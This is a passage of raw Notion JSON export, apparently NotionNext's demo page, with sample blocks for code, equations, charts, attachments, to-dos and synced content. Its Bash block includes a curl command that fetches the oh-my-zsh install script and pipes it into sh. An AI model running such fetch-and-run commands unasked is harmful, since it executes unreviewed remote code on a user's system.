live":true,"copied_from":"3d9836fa-6437-437e-8a01-a0a4f530979a"}},"3a8f1cf9-1509-4b97-93d7-aef56bcaf85a":{"value":{"id":"3a8f1cf9-1509-4b97-93d7-aef56bcaf85a","type":"sub_header","properties":{"title":[["1.代码"]]},"format":{"copied_from_pointer":{"id":"85dc9288-bc63-40ba-8251-03bbb07f61a7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"85dc9288-bc63-40ba-8251-03bbb07f61a7"}},"3afc4b4f-2afa-4732-b15c-70cb97502fba":{"value":{"id":"3afc4b4f-2afa-4732-b15c-70cb97502fba","type":"code","properties":{"title":[["# Bash 安装zsh\n$ sudo apt install zsh\n\n# 配置ohmyzsh\n$ sh -c \"$(curl -fsSL \u003chttps://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh\u003e)\"\n\n# 配置ohmyzsh插件\n# zsh-autosuggestions\n$ git clone git://github.com/zsh-users/zsh-autosuggestions $ZSH_CUSTOM/plugins/zsh-autosuggestions\n\n# zsh-syntax-highlighting\n$ git clone \u003chttps://github.com/zsh-users/zsh-syntax-highlighting.git\u003e ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting\n\n// 启用插件\n$ vim .zshrc\nplugins=(git z zsh-autosuggestions zsh-syntax-highlighting)"]],"language":[["Bash"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"017adce7-b2bb-48dc-9398-edacd776dc25","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991028,"last_edited_time":1705638991028,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"017adce7-b2bb-48dc-9398-edacd776dc25"}},"58a2fe87-4e0c-40aa-baed-b99e677f4891":{"value":{"id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","type":"toggle","properties":{"title":[["其他更多语言"]]},"content":["f993f0f3-96ef-436e-b3a6-2a32c9623c1c","dc053857-d6b6-4106-9819-6545884c39ee","063756cd-6ec1-4081-85e3-4b92832a9cb4","cb1f9529-7659-4836-902b-9d15084eaa0a","c7f0ee45-718e-4229-9f2f-b7c2fc7ad580","88676695-452c-49cb-9d9c-0711d2f1f4be","025fccd3-0e3c-4be1-85bb-1880edddeb65","4d19c930-9e8b-4fc5-b273-19717fe62e33"],"format":{"copied_from_pointer":{"id":"55f94688-f9a4-4713-bc50-cb81232974f3","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"55f94688-f9a4-4713-bc50-cb81232974f3"}},"abc36c13-25fc-4b0d-bda9-6b45a9d992bc":{"value":{"id":"abc36c13-25fc-4b0d-bda9-6b45a9d992bc","type":"sub_header","properties":{"title":[["2.公式"]]},"format":{"copied_from_pointer":{"id":"7de9f2bb-6e8b-4a0d-b126-62148de95bd5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991036,"last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"7de9f2bb-6e8b-4a0d-b126-62148de95bd5"}},"0d862f5f-f617-4972-a07f-c90da2679c24":{"value":{"id":"0d862f5f-f617-4972-a07f-c90da2679c24","type":"bulleted_list","properties":{"title":[["数学公式"]]},"content":["8c07082c-8cec-440e-bf4e-29bea61f9062","90932a5f-3a36-460b-8d7c-eced46b176b4"],"format":{"copied_from_pointer":{"id":"ab94ff2a-4201-4ef5-8db9-df5654521f11","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991040,"last_edited_time":1705638991040,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ab94ff2a-4201-4ef5-8db9-df5654521f11"}},"8c07082c-8cec-440e-bf4e-29bea61f9062":{"value":{"id":"8c07082c-8cec-440e-bf4e-29bea61f9062","type":"equation","properties":{"title":[["f\\left(\\left[\\frac{1+\\{x, y\\}}{\\left(\\frac{x}{y}+\\frac{y}{x}\\right)(u+1)}+a\\right]^{3 / 2}\\right)\\tag{行标}"]]},"format":{"copied_from_pointer":{"id":"f73d2d76-f110-476f-ab07-4e49477068ed","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"0d862f5f-f617-4972-a07f-c90da2679c24","parent_table":"block","alive":true,"copied_from":"f73d2d76-f110-476f-ab07-4e49477068ed"}},"90932a5f-3a36-460b-8d7c-eced46b176b4":{"value":{"id":"90932a5f-3a36-460b-8d7c-eced46b176b4","type":"equation","properties":{"title":[["\\tau_{xy}=-\\tau_{yx}\\tau_{xz}=-\\tau_{zx}\\tau_{yz}=-\\tau{zy}"]]},"format":{"copied_from_pointer":{"id":"cf2118fe-22c9-4507-8013-18a96601b0d7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"0d862f5f-f617-4972-a07f-c90da2679c24","parent_table":"block","alive":true,"copied_from":"cf2118fe-22c9-4507-8013-18a96601b0d7"}},"2feae355-4a74-4b81-a318-b1cdaf3345b1":{"value":{"id":"2feae355-4a74-4b81-a318-b1cdaf3345b1","type":"bulleted_list","properties":{"title":[["化学方程"]]},"content":["75582ed8-5351-455f-9583-ce8806132569"],"format":{"copied_from_pointer":{"id":"42e4e244-fe02-46e3-9f72-33a2471dffa1","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991033,"last_edited_time":1705638991033,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"42e4e244-fe02-46e3-9f72-33a2471dffa1"}},"75582ed8-5351-455f-9583-ce8806132569":{"value":{"id":"75582ed8-5351-455f-9583-ce8806132569","type":"text","properties":{"title":[["⁍",[["e","\\ce{2H2O-\u003e2H2 + O2}\n"]]]]},"format":{"copied_from_pointer":{"id":"b7d89274-b359-4917-ac8a-ebc13295506f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"2feae355-4a74-4b81-a318-b1cdaf3345b1","parent_table":"block","alive":true,"copied_from":"b7d89274-b359-4917-ac8a-ebc13295506f"}},"a625f064-b0f6-4744-b6b9-e40aaf12ffa9":{"value":{"id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","type":"toggle","properties":{"title":[["其他更多公式"]]},"content":["583d808b-a380-4da7-a547-23a10d3fa5c8","7e94f6c0-5ab6-4778-9277-992fd5664f01","52d5a916-ab83-448a-9f42-1a7ef92b2e19","68c4d878-bb42-4e06-baa5-635a4f804e97","408dee57-e78b-4bff-b11d-dae0ffb56756"],"format":{"copied_from_pointer":{"id":"8d7fc19c-da47-4cad-a2c5-a6257de3e1c9","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"8d7fc19c-da47-4cad-a2c5-a6257de3e1c9"}},"d1de48bb-00c6-40ac-81df-d6fb0b784f36":{"value":{"id":"d1de48bb-00c6-40ac-81df-d6fb0b784f36","type":"sub_header","properties":{"title":[["3. 图表"]]},"format":{"copied_from_pointer":{"id":"32a7b6a9-e1ba-44a5-982f-a055f5b01366","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991031,"last_edited_time":1705638991031,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"32a7b6a9-e1ba-44a5-982f-a055f5b01366"}},"62a16f54-8d5e-41cc-a7a4-70f28d18bb2a":{"value":{"id":"62a16f54-8d5e-41cc-a7a4-70f28d18bb2a","type":"code","properties":{"title":[["graph LR;\n公司架构--\u003e商务\n公司架构--\u003e研发\n公司架构--\u003e设计\n公司架构--\u003e运营\n公司架构--\u003e产品"]],"caption":[["思维导图"]],"language":[["Mermaid"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"f52fc1fa-7e9e-48dc-b48f-6b7d70e26535","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f52fc1fa-7e9e-48dc-b48f-6b7d70e26535"}},"b87bd083-9175-48c6-adee-7a6e4e38b8cd":{"value":{"id":"b87bd083-9175-48c6-adee-7a6e4e38b8cd","type":"sub_header","properties":{"title":[["4. PDF嵌入"]]},"format":{"copied_from_pointer":{"id":"75cd9f28-82de-41f7-a5f2-af4e0055aaf1","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991036,"last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"75cd9f28-82de-41f7-a5f2-af4e0055aaf1"}},"51b6910d-e9cd-4a81-aae0-766883f9d904":{"value":{"id":"51b6910d-e9cd-4a81-aae0-766883f9d904","type":"pdf","properties":{"size":[["871.3KB"]],"title":[["tailwindcss.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Ffbdf623f-21ce-48a2-b8b6-152680ad6dfe%2Ftailwindcss.pdf?table=block\u0026id=51b6910d-e9cd-4a81-aae0-766883f9d904"]]},"format":{"block_width":708,"block_height":320,"block_full_width":false,"block_page_width":false,"copied_from_pointer":{"id":"7ded6839-18db-4e45-842d-c6422ad2513c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":false},"created_time":1705638991037,"last_edited_time":1705638991037,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"7ded6839-18db-4e45-842d-c6422ad2513c","file_ids":["fbdf623f-21ce-48a2-b8b6-152680ad6dfe"]}},"b407262e-e839-4266-8acc-6e5829f928c9":{"value":{"id":"b407262e-e839-4266-8acc-6e5829f928c9","type":"sub_header","properties":{"title":[["5.下载附件"]]},"format":{"copied_from_pointer":{"id":"e0cc9e30-809d-4960-bdb2-efb857c24ec6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"e0cc9e30-809d-4960-bdb2-efb857c24ec6"}},"e289a4a8-54f9-47df-b1f1-5a5f778c93ab":{"value":{"id":"e289a4a8-54f9-47df-b1f1-5a5f778c93ab","type":"file","properties":{"size":[["469.5KB"]],"title":[["下载PDF附件.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Ffab11580-96c3-4230-90f6-05257f00fb0a%2F%25E6%25B5%258B%25E8%25AF%2595%25E5%25B5%258C%25E5%2585%25A5PDF.pdf?table=block\u0026id=e289a4a8-54f9-47df-b1f1-5a5f778c93ab"]]},"format":{"copied_from_pointer":{"id":"39802971-3009-4c34-a5ee-34c301fb022f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991032,"last_edited_time":1705638991032,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"39802971-3009-4c34-a5ee-34c301fb022f","file_ids":["fab11580-96c3-4230-90f6-05257f00fb0a"]}},"b30997a8-63eb-4339-bfa3-5b06ef9bd842":{"value":{"id":"b30997a8-63eb-4339-bfa3-5b06ef9bd842","type":"file","properties":{"size":[["469.5KB"]],"title":[["下载PDF附件-2.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F69f6fdf6-9aab-485a-a73d-d5c0d3f324db%2F%25E4%25B8%258B%25E8%25BD%25BDPDF%25E9%2599%2584%25E4%25BB%25B6-2.pdf?table=block\u0026id=b30997a8-63eb-4339-bfa3-5b06ef9bd842"]]},"format":{"copied_from_pointer":{"id":"2ee611e4-e7d6-4b8f-839b-6219abc40ce6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991031,"last_edited_time":1705638991031,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"2ee611e4-e7d6-4b8f-839b-6219abc40ce6","file_ids":["69f6fdf6-9aab-485a-a73d-d5c0d3f324db"]}},"9c9075da-d8aa-4347-9bbb-b41a1c7fcc78":{"value":{"id":"9c9075da-d8aa-4347-9bbb-b41a1c7fcc78","type":"sub_header","properties":{"title":[["6. 照片集"]]},"format":{"copied_from_pointer":{"id":"46e00789-6d6a-4635-aac3-433bba79a5df","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"46e00789-6d6a-4635-aac3-433bba79a5df"}},"e57ed9a8-9c51-4b46-aa09-400d5154a42f":{"value":{"id":"e57ed9a8-9c51-4b46-aa09-400d5154a42f","type":"image","properties":{"size":[["825.6KB"]],"title":[["WX20201027-101530@2x.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c876828e-2768-4863-b6d3-ad97b32223d3/WX20201027-1015302x.png"]]},"format":{"block_width":624,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c876828e-2768-4863-b6d3-ad97b32223d3/WX20201027-1015302x.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":1.020979020979021,"copied_from_pointer":{"id":"bdc4308c-7035-406b-a406-26c01d283858","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":true},"created_time":1705638991041,"last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"bdc4308c-7035-406b-a406-26c01d283858","file_ids":["c876828e-2768-4863-b6d3-ad97b32223d3"]}},"43181d65-d467-4bd5-a8cb-6942161eabd5":{"value":{"id":"43181d65-d467-4bd5-a8cb-6942161eabd5","type":"collection_view","view_ids":["6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a"],"collection_id":"7b11173d-8924-4a09-8897-50956378c0fc","format":{"collection_pointer":{"id":"7b11173d-8924-4a09-8897-50956378c0fc","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"c7e030aa-217d-4855-a447-68f530b7a6f6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991041,"last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"c7e030aa-217d-4855-a447-68f530b7a6f6"}},"eb3a98c3-8978-40b5-9166-5cef30088d2a":{"value":{"id":"eb3a98c3-8978-40b5-9166-5cef30088d2a","type":"sub_header","properties":{"title":[["7. 内嵌网页"]]},"format":{"copied_from_pointer":{"id":"488fe62e-a776-4240-85e9-5fba92d18513","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"488fe62e-a776-4240-85e9-5fba92d18513"}},"5fef12d0-8a28-437c-8514-47243e565b19":{"value":{"id":"5fef12d0-8a28-437c-8514-47243e565b19","type":"embed","properties":{"source":[["https://docs.tangly1024.com/zh"]],"description":[["一个使用 NextJS + Notion API 实现的,部署在 Vercel 上的静态博客系统。为Notion和所有创作者设计。 - GitHub - tangly1024/NotionNext: 一个使用 NextJS + Notion API 实现的,部署在 Vercel 上的静态博客系统。为Notion和所有创作者设计。"]]},"format":{"block_width":720,"block_height":486.99713134765625,"bookmark_icon":"https://github.com/favicon.ico","bookmark_cover":"https://opengraph.githubassets.com/7bc91fe7946837cac17c0a6b378f1a80cf14e6eae1e2f0c1dc0f6384826c66ad/tangly1024/NotionNext","display_source":"https://docs.tangly1024.com/zh","block_full_width":false,"block_page_width":true,"copied_from_pointer":{"id":"0262365a-23ff-471e-9d94-bd7bfa6bb9fe","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":false},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"0262365a-23ff-471e-9d94-bd7bfa6bb9fe"}},"182a922c-a77e-4465-a7bf-b6cd9bb8aa95":{"value":{"id":"182a922c-a77e-4465-a7bf-b6cd9bb8aa95","type":"text","properties":{"title":[["https://www.bilibili.com/video/BV1Qs411d7pd/?spm_id_from=333.337.search-card.all.click\u0026vd_source=39f78b1b8c48640556d1685e5f99a413",[["a","https://www.bilibili.com/video/BV1Qs411d7pd/?spm_id_from=333.337.search-card.all.click\u0026vd_source=39f78b1b8c48640556d1685e5f99a413"]]]]},"format":{"copied_from_pointer":{"id":"5e0d4e6a-2710-4814-bb7b-fdd1c0146ef5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"5e0d4e6a-2710-4814-bb7b-fdd1c0146ef5"}},"af988ade-cbe2-4091-b037-e8a39b7ef3fc":{"value":{"id":"af988ade-cbe2-4091-b037-e8a39b7ef3fc","type":"sub_header","properties":{"title":[["5.代办"]]},"format":{"copied_from_pointer":{"id":"1fb0e452-7d3d-422a-a757-3959676eb0ba","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991031,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991031,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"1fb0e452-7d3d-422a-a757-3959676eb0ba"}},"3206c63c-38c9-42a5-9829-1f8a39e6e0eb":{"value":{"id":"3206c63c-38c9-42a5-9829-1f8a39e6e0eb","type":"column_list","content":["1854a9a5-32ae-4877-ab49-d57de0d5354f","5ac99d26-69f6-476c-9824-238bf50d62a7"],"format":{"copied_from_pointer":{"id":"a1a14331-820d-4681-ae01-2c0bc8b48f65","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"a1a14331-820d-4681-ae01-2c0bc8b48f65"}},"1854a9a5-32ae-4877-ab49-d57de0d5354f":{"value":{"id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","type":"column","content":["245c6b1d-d615-4cce-ad98-1e9e9a3d331b","3a656978-d031-4237-bd2f-3e13591e4d3c","9f0dc72c-1ec1-4c87-a878-b1f7ebeb92da"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"d3738c0d-47d6-443e-8bfe-38f2ec3dfddd","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"3206c63c-38c9-42a5-9829-1f8a39e6e0eb","parent_table":"block","alive":true,"copied_from":"d3738c0d-47d6-443e-8bfe-38f2ec3dfddd"}},"5ac99d26-69f6-476c-9824-238bf50d62a7":{"value":{"id":"5ac99d26-69f6-476c-9824-238bf50d62a7","type":"column","content":["3ba35f4a-aa14-47ea-b6d7-69a9ac005410","1b93f241-5182-4114-9004-5d24d8327db2","53f53d16-5518-4b72-a684-a286d2c14394"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"12ac700a-7512-4b69-bf45-d295519e9d71","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"3206c63c-38c9-42a5-9829-1f8a39e6e0eb","parent_table":"block","alive":true,"copied_from":"12ac700a-7512-4b69-bf45-d295519e9d71"}},"245c6b1d-d615-4cce-ad98-1e9e9a3d331b":{"value":{"id":"245c6b1d-d615-4cce-ad98-1e9e9a3d331b","type":"text","properties":{"title":[["家庭"]]},"format":{"block_color":"teal_background","copied_from_pointer":{"id":"126f0aa9-ab3b-4f6e-adf3-4a8c3805a774","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","parent_table":"block","alive":true,"copied_from":"126f0aa9-ab3b-4f6e-adf3-4a8c3805a774"}},"3ba35f4a-aa14-47ea-b6d7-69a9ac005410":{"value":{"id":"3ba35f4a-aa14-47ea-b6d7-69a9ac005410","type":"text","properties":{"title":[["事业"]]},"format":{"block_color":"blue_background","copied_from_pointer":{"id":"1161379f-cc6a-4dfd-a912-5b26b17c3ed3","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"5ac99d26-69f6-476c-9824-238bf50d62a7","parent_table":"block","alive":true,"copied_from":"1161379f-cc6a-4dfd-a912-5b26b17c3ed3"}},"3a656978-d031-4237-bd2f-3e13591e4d3c":{"value":{"id":"3a656978-d031-4237-bd2f-3e13591e4d3c","type":"to_do","properties":{"title":[["洗衣"]]},"format":{"copied_from_pointer":{"id":"87a09476-499e-46ea-a2bc-7283fb7b3d1b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","parent_table":"block","alive":true,"copied_from":"87a09476-499e-46ea-a2bc-7283fb7b3d1b"}},"1b93f241-5182-4114-9004-5d24d8327db2":{"value":{"id":"1b93f241-5182-4114-9004-5d24d8327db2","type":"to_do","properties":{"title":[["开会"]]},"format":{"copied_from_pointer":{"id":"df478f02-d6b2-4433-8ab2-88e1c1c064b9","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"5ac99d26-69f6-476c-9824-238bf50d62a7","parent_table":"block","alive":true,"copied_from":"df478f02-d6b2-4433-8ab2-88e1c1c064b9"}},"9f0dc72c-1ec1-4c87-a878-b1f7ebeb92da":{"value":{"id":"9f0dc72c-1ec1-4c87-a878-b1f7ebeb92da","type":"to_do","properties":{"title":[["做饭"]]},"format":{"copied_from_pointer":{"id":"6184f41c-24af-490e-8be2-aa71ad46263c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","parent_table":"block","alive":true,"copied_from":"6184f41c-24af-490e-8be2-aa71ad46263c"}},"53f53d16-5518-4b72-a684-a286d2c14394":{"value":{"id":"53f53d16-5518-4b72-a684-a286d2c14394","type":"to_do","properties":{"title":[["加班"]]},"format":{"copied_from_pointer":{"id":"cb126b10-5f42-4f30-9755-7b03ee8f0654","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"5ac99d26-69f6-476c-9824-238bf50d62a7","parent_table":"block","alive":true,"copied_from":"cb126b10-5f42-4f30-9755-7b03ee8f0654"}},"c311a2ed-ff9b-41ef-8259-c5d55e7076f6":{"value":{"id":"c311a2ed-ff9b-41ef-8259-c5d55e7076f6","type":"sub_header","properties":{"title":[["6.折叠列表"]]},"format":{"copied_from_pointer":{"id":"ec497fa9-6df4-4927-be6f-0b2fdf07572e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ec497fa9-6df4-4927-be6f-0b2fdf07572e"}},"4748bbad-6dc8-4e84-ab43-96c076df3dd2":{"value":{"id":"4748bbad-6dc8-4e84-ab43-96c076df3dd2","type":"toggle","properties":{"title":[["点击展开"]]},"content":["02efa7b3-d1ce-40f7-9a23-f687b0046e4d"],"format":{"copied_from_pointer":{"id":"f8faebbf-cc58-408b-aab9-bd605072a188","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f8faebbf-cc58-408b-aab9-bd605072a188"}},"b8800b2b-162c-42fa-9302-c258941e9dbf":{"value":{"id":"b8800b2b-162c-42fa-9302-c258941e9dbf","type":"divider","format":{"copied_from_pointer":{"id":"f91777d0-572c-4f2c-9832-b0b44e1f18c6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f91777d0-572c-4f2c-9832-b0b44e1f18c6"}},"3f939f7e-4387-4bf1-9fb0-d1b17a08ec88":{"value":{"id":"3f939f7e-4387-4bf1-9fb0-d1b17a08ec88","type":"text","format":{"copied_from_pointer":{"id":"4c93f841-35ad-4698-9db7-607a81818ec5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"4c93f841-35ad-4698-9db7-607a81818ec5"}},"180fd5e9-cf79-432d-8d92-894d783e5e00":{"value":{"id":"180fd5e9-cf79-432d-8d92-894d783e5e00","type":"sub_header","properties":{"title":[["8. 同步块 "]]},"format":{"copied_from_pointer":{"id":"08b38d6c-fdfb-4d3a-ad63-65266a9a4bdc","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"08b38d6c-fdfb-4d3a-ad63-65266a9a4bdc"}},"ecc94ae7-f9d8-4d24-bb4d-cf3cd8363c26":{"value":{"id":"ecc94ae7-f9d8-4d24-bb4d-cf3cd8363c26","type":"text","properties":{"title":[["Notion支持将不同页面的块进行同步,即 SyncBlock,以下是来自另一个页面的块:"]]},"format":{"copied_from_pointer":{"id":"f8d88781-8c5b-42e5-bd0b-ffe89cc9037e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f8d88781-8c5b-42e5-bd0b-ffe89cc9037e"}},"3fba972c-29f1-458a-a947-7d8aa18f79e6":{"value":{"id":"3fba972c-29f1-458a-a947-7d8aa18f79e6","type":"transclusion_reference","format":{"copied_from_pointer":{"id":"3ec36561-9537-4719-8f9c-34f7ddf381f5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"transclusion_reference_pointer":{"id":"77239aff-d7f9-46c1-a865-bf5f8c778674","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991033,"last_edited_time":1705638991033,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"3ec36561-9537-4719-8f9c-34f7ddf381f5"}},"77239aff-d7f9-46c1-a865-bf5f8c778674":{"value":{"id":"77239aff-d7f9-46c1-a865-bf5f8c778674","type":"transclusion_container","content":["1011ab97-eb40-4c4e-ad98-1e7459e67c8e"],"created_time":1666242600000,"last_edited_time":1666242600000,"parent_id":"da988857-3ba9-4a63-9731-e849beb46705","parent_table":"block","alive":true}},"da988857-3ba9-4a63-9731-e849beb46705":{"value":{"id":"da988857-3ba9-4a63-9731-e849beb46705","type":"page","properties":{"NX\\Q":[["‣",[["d",{"type":"date","start_date":"2021-11-05"}]]]],"`gQ~":[["Post"]],"bB{M":[[""]],"d]hq":[["invisible"]],"sD^m":[["健康"]],"wz|S":[["状态不是"],["Published",[["c"]]],[",故不会被显示"]],"title":[["未发布文章"]],"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":[["Invisible"]]},"content":["77239aff-d7f9-46c1-a865-bf5f8c778674","6697ac70-8b8b-44f0-997d-c82167c5df60"],"f